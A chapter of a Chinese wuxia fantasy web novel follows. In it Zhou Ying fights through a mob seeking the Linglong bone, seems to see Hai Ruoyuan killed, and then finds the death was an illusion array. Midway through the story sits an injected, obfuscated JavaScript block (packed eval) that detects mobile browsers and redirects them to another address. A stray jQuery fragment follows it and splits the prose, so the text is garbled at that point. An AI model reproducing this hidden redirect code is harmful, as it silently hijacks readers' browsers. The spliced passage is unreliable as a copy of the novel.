战况远比想象更加激烈,这段距离山顶不过两三百步的小路上,三五步就有一个人倒下,刀枪剑棍,各种兵器七零八落掉了一路。
周盈渐渐发现这些玄冥帮众伤势不一,却都还留着一口气。有的受了伤却未完全昏死过去,嘴里哼哼唧唧不知道在念什么。她听不清,只觉得吵,吵得心烦气躁。
强制压下这股烦躁,心里越来越感觉不对劲。没错,这一路上竟已经倒下了三十多人!
向愁眉只是普通的武者,武功并不算出众,被二百多人包围按理说是走不到山顶的。而且她看过这些人的伤口,有好几个出手间都过于利落。
周盈虽没见过向愁眉出手,但知道他急功好义。如果他在被围困时还能把这三十多人打得哭爹喊娘,骡马大会区区二十来人,他也可顺手收拾了,为何要专门找上公室?
思索间,一阵婴儿哭声“哇”地响起,哭声比之前的还要响亮、刺耳、挠人心肝。
数十步外,玄冥帮众大队人马蜂拥而上,叫喊声中三五时夹杂着断断续续的兵器碰撞声。
周盈立即寻声追去。
百余人的玄冥帮众收拢在一起,将人严严实实围在了山顶。周盈看不到里面的情况,只知道下面就是万丈悬崖。战况混乱,你推我攘,稍不留神只怕尸骨无存。
听着里面杀声震天响,想出手相助,又怕下手太重,伤到里面的人。情急之下,只好控制着力道一掌打了过去。瞬间,人肉铸成的包围圈从最外面被破开了个口子。
然而,很快玄冥帮众像饿狼似的又围上去,不断补上缺口,不断缩小包围圈,像狼群在分战利品,不容许别人来分一杯羹。
圈内,打斗声越来越激烈。
周盈冲了过去,把人一个个往外丢。
一连丢了十几个人,她才后知后觉地看了看手掌,掌心鲜血淋漓,浓烈的血腥味刺得她脑子嗡嗡乱叫。
这血不是她的,也不是玄冥帮众的,而是战圈里人的。周盈又怒又急,呵道:“走开,你们走开啊!”
她拼命挤了过去,但玲珑骨像是有什么魔力一样,散发着无比诱人的气息,吸引着这群饿狼。她对着前面的人刺了一剑,可是那人已经完全被迷住了心窍,丝毫感觉不到痛,反而争先恐后往里面挤。
战圈越缩越小,打斗声却一直没停过。
她冲里面喊了一声:“眉兄!”
“眉兄,你在吗,是你吗?”
没有人回应。
她一只手护着顾奇缘,一只手飞快掀飞前面的人,拼命往里面挤。
突然,一个声音兴奋道:“死了,死了,终于死了。”疯狂的笑声掺杂着婴儿的抽噎啼哭声。
又有一人惊声道:“啊!他又站起来了,快杀死他!”
“别让他活着,再去补一刀!”
“快,再补一刀!”
那人手上沾了血,双眼通红泛着幽光,听见人没死,高声呼和着要杀人,眼神既兴奋又恐惧,活像只疯狗。嗖地一股热气冲上颅顶,周盈气得一巴掌狠狠打在他胸口。
但他却好像没有痛觉,拼命扒开旁边的人,再次扑上去。
周盈终于挤到前面,她看见一个人扑了过去,其他人也按耐不住扑上去,玄冥帮众急不可耐地簇拥上去,无数张脸激动得发红,大笑得扭曲变形。
数十张疯狂丑陋的陌生面孔里,她看见了那个人的脸,那张再熟悉不过的脸,不是向愁眉,而是海若渊!
像是有什么哽在喉头,让她一句话也说不出,为什么是他……为什么是海若渊?!
一人狂笑道:“哈哈哈哈哈”
“玲珑骨是我的了!”
周盈看见最利的刀子插进了海若渊的胸口,那出刀的人却等不及把刀拔出就迫不及待加入抢夺的队伍。
海若渊浑身都是血,他的身子已经动不了了。不知道是不是幻觉,周盈感觉他朝自己这边动了一下,好像要扭过头看着自己。但他没有再动,他已经死了,不知道哪把刀插进了他的心脏。
他一句话也说不出了。
在他身旁,玄冥帮众无休无止地互相攀咬,攘命似的争夺孩子。
孩子的哭声响彻山野!
可是周盈知道,那个孩子是假的,只是一个幻象。玄冥帮众杀了真正的人,却在争夺一个幻象,一个虚影。
婴儿的哭喊充斥耳郭,海若渊以前所未有的姿态出现在她眼前。她摸了摸海若渊的脸,脸上有血,将五官糊成血红一片。
玄冥帮众还在抢夺,那枯木变的孩子被他们抢来抢去,哭得很大声。
哭声把居延府的人引了过来。
不知道什么时候顾奇缘也不见了,她好像只抱着只空虚的襁褓,襁褓里边的孩子被恶人夺了去,而她正伤心欲绝。
居延府的人看到的就是这样的景象,好似恶鬼的狂欢,真正的人间炼狱。不等他们阻止,那孩子就在抢夺中被扔下山崖,投入了万丈深渊。
然而,抢夺玲珑骨的人却还没冷静下来,他们开始互相指责,继续攀咬。
“是你扔的!”一人骂道。
“你丢了玲珑骨!”一人吼道。
还有人不死心地爬在悬崖边上,企图搜索到玲珑骨的一点踪迹。
等他们终于冷静下来,却再也来不及了。
居延府的人已经目睹了这一切,亲耳听他们承认了这一切:玄冥帮众残杀无辜,坠杀婴儿,天地难容!
居延府来的是个府将,名字叫做阿大。阿大张了一张丑脸,整张脸活像烙铁烙过了一样。只有眼珠子还灵敏地转动,烫破了的嘴皮子被面部肌肉强行牵动,正有条不紊地指挥着居延府的人捉拿眼前的这群疯狗。
他身后,跟着三个周盈见过的人。
一个是持棍的长者,一个是持剑的伤者,他脸上的淤紫已经消了大半,只是空落落的右臂再也无法恢复,还有一个是周盈一直在找的向愁眉。
这些人因为迷阵已经认不出海若渊了。
他们惊愕不已,却什么也没说,因为他们不认识这个死人。
向愁眉看见周盈,惊奇道:“周兄弟,你怎么在这里?”
周盈没说话。
他看见她怀中空空的襁褓,又问:“你的孩子呢!”
周盈终于落下泪:“他已经死了。”
居延府听说玄冥帮众会在这里行凶后,连夜召集了人往死人谷赶,向愁眉便把他们往山上带。山下,还有三百人把这座山围得水泄不通。他们足足忙到太阳下山才把玄冥帮众一个不剩的抓走。
阿大很生气,丑陋的脸变得十分吓人,他问他们,是谁指使他们做这样的事情。
他们说,是笑面书生。
阿大扯着粗哑的嗓子又问,笑面书生人呢。
他们说,不知道。
只有周盈知道,笑面书生已经被顾曾云亲手杀死。但她不会说。这以后,全天下都会追杀笑面书生,玄冥帮也成为众矢之的。
最后还剩下一具尸体,他们看见周盈守在旁边,但他们又不认识这个人。向愁眉犹豫了好久才上来问道:“周兄弟,这个人……”
周盈道:“我……我来埋。”
向愁眉不知道海若渊去了哪里,但他知道要是公室在这里,这一切就不会发生。所以他只能说:“请节哀。”
周盈抬起头,笑了笑,问他:“眉兄,许久不见你,你去了哪里?”
向愁眉觉得有些惭愧,道:“我被吃人熊打晕了。”
原来海若渊说的是这个意思,人都晕了,自然无法听到声音。
天已经完全黑了,顾奇缘又恢复了原样。他们走后,整座山只剩下两个活人,周盈觉得这一切似曾相识。在三摩地,死了三十九人,只活了她和十八学士。在这里,也只活了两个人。一个是她,一个是顾奇缘。
上次,是公室策划,这一次,也是公室策划。
但她没想到会有这样一个疯子,把自己也算进去!
她觉得脸上有点痒痒的,大概是眼泪干了。她正要伸手去擦,却听到身后异动,有人一步一步靠近她。
那人说:“你在伤心?”
一回头,海若渊已经干干净净、活生生站在面前。周盈先是一愣,瞬间炸了起来:“你没死!”
海若渊看着她的脸,本想拿她玩笑,不知道怎么也笑不出来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796368|190652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顿了半晌,他只好道:“你希望我死?”
我不希望你死,但也没想到你现在就活过来!
周盈看着他,又一次有撞鬼的感觉。
没想到海若渊递过张帕子,道:“男儿有泪不轻弹。”
周盈一把抢过帕子,怒道:“谁出生没嚎两句,我想哭就哭,高兴哭就哭,关你什么事!”
海若渊指了指顾奇缘,一本正经道:“他就没哭。”
周盈被他噎得说不出话,越想越气,海若渊,果真一如既往地可恨。
她怒眉一扬:“你为什么骗我?”
“我骗你什么了?”
周盈气呼呼的:“你说向愁眉已经死了。”话出口才发现不对劲,但也收不回来了。
海若渊道:“我可没说,是你自己这样认为的。”
周盈往地下一指:“那他——”她指的是刚刚死掉的海若渊,没想到一回头,尸体却已经不见了。
海若渊无奈道:“都说了是法阵,总不可能让我真的去死。”
周盈觉得他说的有道理,但就是有一种上当受骗的感觉。
海若渊看她余怒未消,服软道:“周公子,请息怒。”说着,不知道他从哪里搞来个食盒子。
周盈接过,一打开,里面装的是白粥,配着一对碗勺。一摸,粥还温着呢。她惊喜道:“你什么时候买的?”
海若渊看她消了气,应道:“是孔雀带的。”
周盈道:“顾奇缘一定饿了,先喂他。”
但又怕他嚼不了米,便先只盛米汤给他喝。但当周盈拿勺子对着他的嘴时,顾奇缘睁着一双大眼睛,好像不知道这是什么。
周盈疑惑道:“他怎么不会吃?”
顾奇缘虽不像一般孩子一样会哭会闹,但饿了这么久,看见食物应该会有反应,可是他好像完全不明白他们在干什么。
周盈把他抱着,稍稍倾斜了勺子,让米汤缓缓淌入他的嘴里。
可食物送入口中又被他吐了出来,周盈只好用帕子给他擦干净。
海若渊看在眼里,猜测道:“这孩子只怕不用吃东西。”
玲珑骨救他性命,也让他无法正常生长,甚至把他变成了一个不同于常人的……怪物,但是他身上究竟还有什么不同,周盈心想,看来只有去寻商音竹。商音竹既然能救他,必然也知晓他的情况。
周盈自己也饿得前胸贴后背,把顾奇缘交给海若渊抱着,便坐在旁边喝粥。喝了几口粥,气也消了。吃着吃着,又想起了在死人谷底的遭遇,她道:“这个阵法,看到的东西都是真的吗?”
海若渊笑道:“要是真的,我怎么会在这里。”
“难道都是假的?”
可如果是假的,迷阳地的一切有怎么解释?
海若渊道:“有真有假,真真假假,虚虚实实,这样才骗得过别人。”
略一停顿,道:“所有人在里面只能看到两种东西。”
“什么东西?”
“渴望之物,抑或是恐惧憎恶之物。”
玄冥帮能看见那个孩子,就是因为他们对玲珑骨的极度渴望。察觉到周盈意有所指,他道:“怎么,你看到什么了不得的东西了”
周盈只是摇头,孟婆婆,小搜,她之前分明不认识这些人,又怎么说得上喜欢讨厌。
一切过后,周盈才缓缓回味过来海若渊如此做的目的。
顾曾云因玲珑骨而身死,玄冥帮众为了玲珑骨又如此疯狂。顾奇缘就算真能平安长大,也只怕风浪不息。但是,今天所有人都看到顾奇缘摔下百丈悬崖,等居延府把消息传播出去,世间便不会有顾曾云之子,便不会有玲珑骨。
想了想,仍觉得匪夷所思:“盗指玄冥握有无数秘宝,灵丹妙药想必不少,又何必费尽心机来夺玲珑骨?这东西究竟有什么稀奇的?”
海若渊道:“不如问问知情人。”说着,只见他双唇微动,不知使了什么法诀。
紧接着,一个人影从林子里连滚带爬,踉踉跄跄跑了出来。
“霍安!”周盈看见来人,大吃一惊。
怪不得刚刚没见到他,原来早早就被海若渊擒住了。